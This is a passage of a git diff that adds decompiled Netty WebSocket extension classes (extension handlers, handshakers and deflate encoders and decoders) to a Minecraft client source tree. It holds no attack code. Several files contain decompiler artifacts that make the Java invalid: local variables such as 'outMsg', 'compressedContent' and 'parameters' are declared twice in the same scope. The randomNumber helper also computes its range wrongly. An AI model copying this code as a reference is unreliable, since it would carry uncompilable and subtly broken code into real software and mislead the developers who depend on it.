+  static int randomNumber(int minimum, int maximum)
+  {
+    return (int)(Math.random() * maximum + minimum);
+  }
+  
+  private WebSocketUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketVersion.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketVersion.java
new file mode 100644
index 0000000..700c8fc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketVersion.java
@@ -0,0 +1,73 @@
+package io.netty.handler.codec.http.websocketx;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum WebSocketVersion
+{
+  UNKNOWN, 
+  
+
+
+
+
+  V00, 
+  
+
+
+
+
+  V07, 
+  
+
+
+
+
+  V08, 
+  
+
+
+
+
+
+  V13;
+  
+  private WebSocketVersion() {}
+  
+  public String toHttpHeaderValue()
+  {
+    if (this == V00) {
+      return "0";
+    }
+    if (this == V07) {
+      return "7";
+    }
+    if (this == V08) {
+      return "8";
+    }
+    if (this == V13) {
+      return "13";
+    }
+    throw new IllegalStateException("Unknown web socket version: " + this);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtension.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtension.java
new file mode 100644
index 0000000..a23e0f1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtension.java
@@ -0,0 +1,5 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+public abstract interface WebSocketClientExtension
+  extends WebSocketExtension
+{}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtensionHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtensionHandler.java
new file mode 100644
index 0000000..4deaaff
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtensionHandler.java
@@ -0,0 +1,130 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.CodecException;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketClientExtensionHandler
+  extends ChannelDuplexHandler
+{
+  private final List<WebSocketClientExtensionHandshaker> extensionHandshakers;
+  
+  public WebSocketClientExtensionHandler(WebSocketClientExtensionHandshaker... extensionHandshakers)
+  {
+    if (extensionHandshakers == null) {
+      throw new NullPointerException("extensionHandshakers");
+    }
+    if (extensionHandshakers.length == 0) {
+      throw new IllegalArgumentException("extensionHandshakers must contains at least one handshaker");
+    }
+    this.extensionHandshakers = Arrays.asList(extensionHandshakers);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    if (((msg instanceof HttpRequest)) && (WebSocketExtensionUtil.isWebsocketUpgrade(((HttpRequest)msg).headers()))) {
+      HttpRequest request = (HttpRequest)msg;
+      String headerValue = request.headers().getAsString(HttpHeaderNames.SEC_WEBSOCKET_EXTENSIONS);
+      
+      for (WebSocketClientExtensionHandshaker extentionHandshaker : extensionHandshakers) {
+        WebSocketExtensionData extensionData = extentionHandshaker.newRequestData();
+        headerValue = WebSocketExtensionUtil.appendExtension(headerValue, extensionData.name(), extensionData.parameters());
+      }
+      
+
+      request.headers().set(HttpHeaderNames.SEC_WEBSOCKET_EXTENSIONS, headerValue);
+    }
+    
+    super.write(ctx, msg, promise);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg)
+    throws Exception
+  {
+    if ((msg instanceof HttpResponse)) {
+      HttpResponse response = (HttpResponse)msg;
+      
+      if (WebSocketExtensionUtil.isWebsocketUpgrade(response.headers())) {
+        String extensionsHeader = response.headers().getAsString(HttpHeaderNames.SEC_WEBSOCKET_EXTENSIONS);
+        
+        if (extensionsHeader != null) {
+          List<WebSocketExtensionData> extensions = WebSocketExtensionUtil.extractExtensions(extensionsHeader);
+          
+          List<WebSocketClientExtension> validExtensions = new ArrayList(extensions.size());
+          
+          int rsv = 0;
+          
+          for (WebSocketExtensionData extensionData : extensions) {
+            Iterator<WebSocketClientExtensionHandshaker> extensionHandshakersIterator = extensionHandshakers.iterator();
+            
+            WebSocketClientExtension validExtension = null;
+            
+            while ((validExtension == null) && (extensionHandshakersIterator.hasNext())) {
+              WebSocketClientExtensionHandshaker extensionHandshaker = (WebSocketClientExtensionHandshaker)extensionHandshakersIterator.next();
+              
+              validExtension = extensionHandshaker.handshakeExtension(extensionData);
+            }
+            
+            if ((validExtension != null) && ((validExtension.rsv() & rsv) == 0)) {
+              rsv |= validExtension.rsv();
+              validExtensions.add(validExtension);
+            } else {
+              throw new CodecException("invalid WebSocket Extension handhshake for \"" + extensionsHeader + "\"");
+            }
+          }
+          
+
+          for (WebSocketClientExtension validExtension : validExtensions) {
+            WebSocketExtensionDecoder decoder = validExtension.newExtensionDecoder();
+            WebSocketExtensionEncoder encoder = validExtension.newExtensionEncoder();
+            ctx.pipeline().addAfter(ctx.name(), decoder.getClass().getName(), decoder);
+            ctx.pipeline().addAfter(ctx.name(), encoder.getClass().getName(), encoder);
+          }
+        }
+        
+        ctx.pipeline().remove(ctx.name());
+      }
+    }
+    
+    super.channelRead(ctx, msg);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtensionHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtensionHandshaker.java
new file mode 100644
index 0000000..f14244b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketClientExtensionHandshaker.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+public abstract interface WebSocketClientExtensionHandshaker
+{
+  public abstract WebSocketExtensionData newRequestData();
+  
+  public abstract WebSocketClientExtension handshakeExtension(WebSocketExtensionData paramWebSocketExtensionData);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtension.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtension.java
new file mode 100644
index 0000000..aaca83c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtension.java
@@ -0,0 +1,14 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+public abstract interface WebSocketExtension
+{
+  public static final int RSV1 = 4;
+  public static final int RSV2 = 2;
+  public static final int RSV3 = 1;
+  
+  public abstract int rsv();
+  
+  public abstract WebSocketExtensionEncoder newExtensionEncoder();
+  
+  public abstract WebSocketExtensionDecoder newExtensionDecoder();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionData.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionData.java
new file mode 100644
index 0000000..bfb90e2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionData.java
@@ -0,0 +1,55 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+import java.util.Collections;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class WebSocketExtensionData
+{
+  private final String name;
+  private final Map<String, String> parameters;
+  
+  public WebSocketExtensionData(String name, Map<String, String> parameters)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    if (parameters == null) {
+      throw new NullPointerException("parameters");
+    }
+    this.name = name;
+    this.parameters = Collections.unmodifiableMap(parameters);
+  }
+  
+
+
+  public String name()
+  {
+    return name;
+  }
+  
+
+
+  public Map<String, String> parameters()
+  {
+    return parameters;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionDecoder.java
new file mode 100644
index 0000000..048d43c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionDecoder.java
@@ -0,0 +1,10 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+
+public abstract class WebSocketExtensionDecoder
+  extends MessageToMessageDecoder<WebSocketFrame>
+{
+  public WebSocketExtensionDecoder() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionEncoder.java
new file mode 100644
index 0000000..5e88d33
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionEncoder.java
@@ -0,0 +1,10 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+
+public abstract class WebSocketExtensionEncoder
+  extends MessageToMessageEncoder<WebSocketFrame>
+{
+  public WebSocketExtensionEncoder() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionUtil.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionUtil.java
new file mode 100644
index 0000000..eb2f58e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketExtensionUtil.java
@@ -0,0 +1,94 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.handler.codec.http.HttpHeaders;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class WebSocketExtensionUtil
+{
+  private static final String EXTENSION_SEPARATOR = ",";
+  private static final String PARAMETER_SEPARATOR = ";";
+  private static final char PARAMETER_EQUAL = '=';
+  private static final Pattern PARAMETER = Pattern.compile("^([^=]+)(=[\\\"]?([^\\\"]+)[\\\"]?)?$");
+  
+  static boolean isWebsocketUpgrade(HttpHeaders headers) {
+    return (headers.containsValue(HttpHeaderNames.CONNECTION, HttpHeaderValues.UPGRADE, true)) && (headers.contains(HttpHeaderNames.UPGRADE, HttpHeaderValues.WEBSOCKET, true));
+  }
+  
+  public static List<WebSocketExtensionData> extractExtensions(String extensionHeader)
+  {
+    String[] rawExtensions = extensionHeader.split(",");
+    if (rawExtensions.length > 0) {
+      List<WebSocketExtensionData> extensions = new ArrayList(rawExtensions.length);
+      for (String rawExtension : rawExtensions) {
+        String[] extensionParameters = rawExtension.split(";");
+        String name = extensionParameters[0].trim();
+        Map<String, String> parameters;
+        if (extensionParameters.length > 1) {
+          Map<String, String> parameters = new HashMap(extensionParameters.length - 1);
+          for (int i = 1; i < extensionParameters.length; i++) {
+            String parameter = extensionParameters[i].trim();
+            Matcher parameterMatcher = PARAMETER.matcher(parameter);
+            if ((parameterMatcher.matches()) && (parameterMatcher.group(1) != null)) {
+              parameters.put(parameterMatcher.group(1), parameterMatcher.group(3));
+            }
+          }
+        } else {
+          parameters = Collections.emptyMap();
+        }
+        extensions.add(new WebSocketExtensionData(name, parameters));
+      }
+      return extensions;
+    }
+    return Collections.emptyList();
+  }
+  
+
+
+  static String appendExtension(String currentHeaderValue, String extensionName, Map<String, String> extensionParameters)
+  {
+    StringBuilder newHeaderValue = new StringBuilder(currentHeaderValue != null ? currentHeaderValue.length() : extensionName.length() + 1);
+    
+    if ((currentHeaderValue != null) && (!currentHeaderValue.trim().isEmpty())) {
+      newHeaderValue.append(currentHeaderValue);
+      newHeaderValue.append(",");
+    }
+    newHeaderValue.append(extensionName);
+    for (Map.Entry<String, String> extensionParameter : extensionParameters.entrySet()) {
+      newHeaderValue.append(";");
+      newHeaderValue.append((String)extensionParameter.getKey());
+      if (extensionParameter.getValue() != null) {
+        newHeaderValue.append('=');
+        newHeaderValue.append((String)extensionParameter.getValue());
+      }
+    }
+    return newHeaderValue.toString();
+  }
+  
+  private WebSocketExtensionUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtension.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtension.java
new file mode 100644
index 0000000..6c715dc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtension.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+public abstract interface WebSocketServerExtension
+  extends WebSocketExtension
+{
+  public abstract WebSocketExtensionData newReponseData();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtensionHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtensionHandler.java
new file mode 100644
index 0000000..dfa9283
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtensionHandler.java
@@ -0,0 +1,141 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerExtensionHandler
+  extends ChannelDuplexHandler
+{
+  private final List<WebSocketServerExtensionHandshaker> extensionHandshakers;
+  private List<WebSocketServerExtension> validExtensions;
+  
+  public WebSocketServerExtensionHandler(WebSocketServerExtensionHandshaker... extensionHandshakers)
+  {
+    if (extensionHandshakers == null) {
+      throw new NullPointerException("extensionHandshakers");
+    }
+    if (extensionHandshakers.length == 0) {
+      throw new IllegalArgumentException("extensionHandshakers must contains at least one handshaker");
+    }
+    this.extensionHandshakers = Arrays.asList(extensionHandshakers);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    int rsv;
+    if ((msg instanceof HttpRequest)) {
+      HttpRequest request = (HttpRequest)msg;
+      
+      if (WebSocketExtensionUtil.isWebsocketUpgrade(request.headers())) {
+        String extensionsHeader = request.headers().getAsString(HttpHeaderNames.SEC_WEBSOCKET_EXTENSIONS);
+        
+        if (extensionsHeader != null) {
+          List<WebSocketExtensionData> extensions = WebSocketExtensionUtil.extractExtensions(extensionsHeader);
+          
+          rsv = 0;
+          
+          for (WebSocketExtensionData extensionData : extensions) {
+            Iterator<WebSocketServerExtensionHandshaker> extensionHandshakersIterator = extensionHandshakers.iterator();
+            
+            WebSocketServerExtension validExtension = null;
+            
+            while ((validExtension == null) && (extensionHandshakersIterator.hasNext())) {
+              WebSocketServerExtensionHandshaker extensionHandshaker = (WebSocketServerExtensionHandshaker)extensionHandshakersIterator.next();
+              
+              validExtension = extensionHandshaker.handshakeExtension(extensionData);
+            }
+            
+            if ((validExtension != null) && ((validExtension.rsv() & rsv) == 0)) {
+              if (validExtensions == null) {
+                validExtensions = new ArrayList(1);
+              }
+              rsv |= validExtension.rsv();
+              validExtensions.add(validExtension);
+            }
+          }
+        }
+      }
+    }
+    
+    super.channelRead(ctx, msg);
+  }
+  
+  public void write(final ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    if (((msg instanceof HttpResponse)) && (WebSocketExtensionUtil.isWebsocketUpgrade(((HttpResponse)msg).headers())) && (validExtensions != null))
+    {
+      HttpResponse response = (HttpResponse)msg;
+      String headerValue = response.headers().getAsString(HttpHeaderNames.SEC_WEBSOCKET_EXTENSIONS);
+      
+      for (WebSocketServerExtension extension : validExtensions) {
+        WebSocketExtensionData extensionData = extension.newReponseData();
+        headerValue = WebSocketExtensionUtil.appendExtension(headerValue, extensionData.name(), extensionData.parameters());
+      }
+      
+
+      promise.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          if (future.isSuccess()) {
+            for (WebSocketServerExtension extension : validExtensions) {
+              WebSocketExtensionDecoder decoder = extension.newExtensionDecoder();
+              WebSocketExtensionEncoder encoder = extension.newExtensionEncoder();
+              ctx.pipeline().addAfter(ctx.name(), decoder.getClass().getName(), decoder);
+              ctx.pipeline().addAfter(ctx.name(), encoder.getClass().getName(), encoder);
+            }
+          }
+          
+          ctx.pipeline().remove(ctx.name());
+        }
+      });
+      
+      if (headerValue != null) {
+        response.headers().set(HttpHeaderNames.SEC_WEBSOCKET_EXTENSIONS, headerValue);
+      }
+    }
+    
+    super.write(ctx, msg, promise);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtensionHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtensionHandshaker.java
new file mode 100644
index 0000000..8ff1bcc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtensionHandshaker.java
@@ -0,0 +1,6 @@
+package io.netty.handler.codec.http.websocketx.extensions;
+
+public abstract interface WebSocketServerExtensionHandshaker
+{
+  public abstract WebSocketServerExtension handshakeExtension(WebSocketExtensionData paramWebSocketExtensionData);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateDecoder.java
new file mode 100644
index 0000000..0d3c59c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateDecoder.java
@@ -0,0 +1,138 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.CodecException;
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.compression.ZlibWrapper;
+import io.netty.handler.codec.http.websocketx.BinaryWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.ContinuationWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.TextWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class DeflateDecoder
+  extends WebSocketExtensionDecoder
+{
+  static final byte[] FRAME_TAIL = { 0, 0, -1, -1 };
+  
+
+  private final boolean noContext;
+  
+
+  private EmbeddedChannel decoder;
+  
+
+  public DeflateDecoder(boolean noContext)
+  {
+    this.noContext = noContext;
+  }
+  
+  protected abstract boolean appendFrameTail(WebSocketFrame paramWebSocketFrame);
+  
+  protected abstract int newRsv(WebSocketFrame paramWebSocketFrame);
+  
+  protected void decode(ChannelHandlerContext ctx, WebSocketFrame msg, List<Object> out) throws Exception
+  {
+    if (decoder == null) {
+      if ((!(msg instanceof TextWebSocketFrame)) && (!(msg instanceof BinaryWebSocketFrame))) {
+        throw new CodecException("unexpected initial frame type: " + msg.getClass().getName());
+      }
+      decoder = new EmbeddedChannel(new ChannelHandler[] { ZlibCodecFactory.newZlibDecoder(ZlibWrapper.NONE) });
+    }
+    
+    boolean readable = msg.content().isReadable();
+    decoder.writeInbound(new Object[] { msg.content().retain() });
+    if (appendFrameTail(msg)) {
+      decoder.writeInbound(new Object[] { Unpooled.wrappedBuffer(FRAME_TAIL) });
+    }
+    
+    CompositeByteBuf compositeUncompressedContent = ctx.alloc().compositeBuffer();
+    for (;;) {
+      ByteBuf partUncompressedContent = (ByteBuf)decoder.readInbound();
+      if (partUncompressedContent == null) {
+        break;
+      }
+      if (!partUncompressedContent.isReadable()) {
+        partUncompressedContent.release();
+      }
+      else {
+        compositeUncompressedContent.addComponent(true, partUncompressedContent);
+      }
+    }
+    
+    if ((readable) && (compositeUncompressedContent.numComponents() <= 0)) {
+      compositeUncompressedContent.release();
+      throw new CodecException("cannot read uncompressed buffer");
+    }
+    
+    if ((msg.isFinalFragment()) && (noContext)) {
+      cleanup();
+    }
+    
+    WebSocketFrame outMsg;
+    if ((msg instanceof TextWebSocketFrame)) {
+      outMsg = new TextWebSocketFrame(msg.isFinalFragment(), newRsv(msg), compositeUncompressedContent); } else { WebSocketFrame outMsg;
+      if ((msg instanceof BinaryWebSocketFrame)) {
+        outMsg = new BinaryWebSocketFrame(msg.isFinalFragment(), newRsv(msg), compositeUncompressedContent); } else { WebSocketFrame outMsg;
+        if ((msg instanceof ContinuationWebSocketFrame)) {
+          outMsg = new ContinuationWebSocketFrame(msg.isFinalFragment(), newRsv(msg), compositeUncompressedContent);
+        }
+        else
+          throw new CodecException("unexpected frame type: " + msg.getClass().getName()); } }
+    WebSocketFrame outMsg;
+    out.add(outMsg);
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    cleanup();
+    super.handlerRemoved(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    cleanup();
+    super.channelInactive(ctx);
+  }
+  
+  private void cleanup() {
+    if (decoder != null)
+    {
+      if (decoder.finish()) {
+        for (;;) {
+          ByteBuf buf = (ByteBuf)decoder.readOutbound();
+          if (buf == null) {
+            break;
+          }
+          
+          buf.release();
+        }
+      }
+      decoder = null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateEncoder.java
new file mode 100644
index 0000000..fa0df19
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateEncoder.java
@@ -0,0 +1,144 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.CodecException;
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.compression.ZlibWrapper;
+import io.netty.handler.codec.http.websocketx.BinaryWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.ContinuationWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.TextWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionEncoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class DeflateEncoder
+  extends WebSocketExtensionEncoder
+{
+  private final int compressionLevel;
+  private final int windowSize;
+  private final boolean noContext;
+  private EmbeddedChannel encoder;
+  
+  public DeflateEncoder(int compressionLevel, int windowSize, boolean noContext)
+  {
+    this.compressionLevel = compressionLevel;
+    this.windowSize = windowSize;
+    this.noContext = noContext;
+  }
+  
+
+
+
+  protected abstract int rsv(WebSocketFrame paramWebSocketFrame);
+  
+
+
+
+  protected abstract boolean removeFrameTail(WebSocketFrame paramWebSocketFrame);
+  
+
+
+  protected void encode(ChannelHandlerContext ctx, WebSocketFrame msg, List<Object> out)
+    throws Exception
+  {
+    if (encoder == null) {
+      encoder = new EmbeddedChannel(new ChannelHandler[] { ZlibCodecFactory.newZlibEncoder(ZlibWrapper.NONE, compressionLevel, windowSize, 8) });
+    }
+    
+
+    encoder.writeOutbound(new Object[] { msg.content().retain() });
+    
+    CompositeByteBuf fullCompressedContent = ctx.alloc().compositeBuffer();
+    for (;;) {
+      ByteBuf partCompressedContent = (ByteBuf)encoder.readOutbound();
+      if (partCompressedContent == null) {
+        break;
+      }
+      if (!partCompressedContent.isReadable()) {
+        partCompressedContent.release();
+      }
+      else
+        fullCompressedContent.addComponent(true, partCompressedContent);
+    }
+    if (fullCompressedContent.numComponents() <= 0) {
+      fullCompressedContent.release();
+      throw new CodecException("cannot read compressed buffer");
+    }
+    
+    if ((msg.isFinalFragment()) && (noContext)) {
+      cleanup();
+    }
+    ByteBuf compressedContent;
+    ByteBuf compressedContent;
+    if (removeFrameTail(msg)) {
+      int realLength = fullCompressedContent.readableBytes() - PerMessageDeflateDecoder.FRAME_TAIL.length;
+      compressedContent = fullCompressedContent.slice(0, realLength);
+    } else {
+      compressedContent = fullCompressedContent;
+    }
+    
+    WebSocketFrame outMsg;
+    if ((msg instanceof TextWebSocketFrame)) {
+      outMsg = new TextWebSocketFrame(msg.isFinalFragment(), rsv(msg), compressedContent); } else { WebSocketFrame outMsg;
+      if ((msg instanceof BinaryWebSocketFrame)) {
+        outMsg = new BinaryWebSocketFrame(msg.isFinalFragment(), rsv(msg), compressedContent); } else { WebSocketFrame outMsg;
+        if ((msg instanceof ContinuationWebSocketFrame)) {
+          outMsg = new ContinuationWebSocketFrame(msg.isFinalFragment(), rsv(msg), compressedContent);
+        } else
+          throw new CodecException("unexpected frame type: " + msg.getClass().getName()); } }
+    WebSocketFrame outMsg;
+    out.add(outMsg);
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    cleanup();
+    super.handlerRemoved(ctx);
+  }
+  
+  private void cleanup() {
+    if (encoder != null)
+    {
+      if (encoder.finish()) {
+        for (;;) {
+          ByteBuf buf = (ByteBuf)encoder.readOutbound();
+          if (buf == null) {
+            break;
+          }
+          
+          buf.release();
+        }
+      }
+      encoder = null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateFrameClientExtensionHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateFrameClientExtensionHandshaker.java
new file mode 100644
index 0000000..894505b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateFrameClientExtensionHandshaker.java
@@ -0,0 +1,103 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketClientExtension;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketClientExtensionHandshaker;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionData;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionDecoder;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionEncoder;
+import java.util.Collections;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DeflateFrameClientExtensionHandshaker
+  implements WebSocketClientExtensionHandshaker
+{
+  private final int compressionLevel;
+  private final boolean useWebkitExtensionName;
+  
+  public DeflateFrameClientExtensionHandshaker(boolean useWebkitExtensionName)
+  {
+    this(6, useWebkitExtensionName);
+  }
+  
+
+
+
+
+
+  public DeflateFrameClientExtensionHandshaker(int compressionLevel, boolean useWebkitExtensionName)
+  {
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    this.compressionLevel = compressionLevel;
+    this.useWebkitExtensionName = useWebkitExtensionName;
+  }
+  
+  public WebSocketExtensionData newRequestData()
+  {
+    return new WebSocketExtensionData(useWebkitExtensionName ? "x-webkit-deflate-frame" : "deflate-frame", Collections.emptyMap());
+  }
+  
+
+
+  public WebSocketClientExtension handshakeExtension(WebSocketExtensionData extensionData)
+  {
+    if ((!"x-webkit-deflate-frame".equals(extensionData.name())) && (!"deflate-frame".equals(extensionData.name())))
+    {
+      return null;
+    }
+    
+    if (extensionData.parameters().isEmpty()) {
+      return new DeflateFrameClientExtension(compressionLevel);
+    }
+    return null;
+  }
+  
+  private static class DeflateFrameClientExtension implements WebSocketClientExtension
+  {
+    private final int compressionLevel;
+    
+    public DeflateFrameClientExtension(int compressionLevel)
+    {
+      this.compressionLevel = compressionLevel;
+    }
+    
+    public int rsv()
+    {
+      return 4;
+    }
+    
+    public WebSocketExtensionEncoder newExtensionEncoder()
+    {
+      return new PerFrameDeflateEncoder(compressionLevel, 15, false);
+    }
+    
+    public WebSocketExtensionDecoder newExtensionDecoder()
+    {
+      return new PerFrameDeflateDecoder(false);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateFrameServerExtensionHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateFrameServerExtensionHandshaker.java
new file mode 100644
index 0000000..07bf6af
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/DeflateFrameServerExtensionHandshaker.java
